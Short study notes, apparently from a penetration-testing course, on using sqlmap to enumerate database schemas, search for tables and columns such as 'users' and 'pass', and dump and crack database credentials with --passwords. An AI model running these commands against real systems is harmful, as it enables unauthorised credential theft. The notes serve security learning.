Skip to content

Advanced DB Enum

DB Schema Enum

  • to retrieve the structure of all tables in all databases.
  • --schema
  • sqlmap -u "URL" --schema

Searching for data

  • to search for a table, database, column of interest
  • --search
  • --search searches using the LIKE operator
  • sqlmap -u "UTL" --search -T users
  • sqlmap -u "URL" --search -C pass

Password Enumeration and Cracking

  • when dumping a table, if hashes are found, SQLMap gives us an option to crack the passwords using a dictionary attack.

DB Users Password Enumeration and Cracking

  • apart from tables in db, we can also attempt to dump the content of system tables containing database-specific credentials (eg: connection credentials)
  • use --passwords
  • sqlmap -u "http://www.example.com/?id=1" --passwords --batch


- This basically means that everything accessible will be retrieved, potentially running for a very long time. We will need to find the data of interest in the output files manually.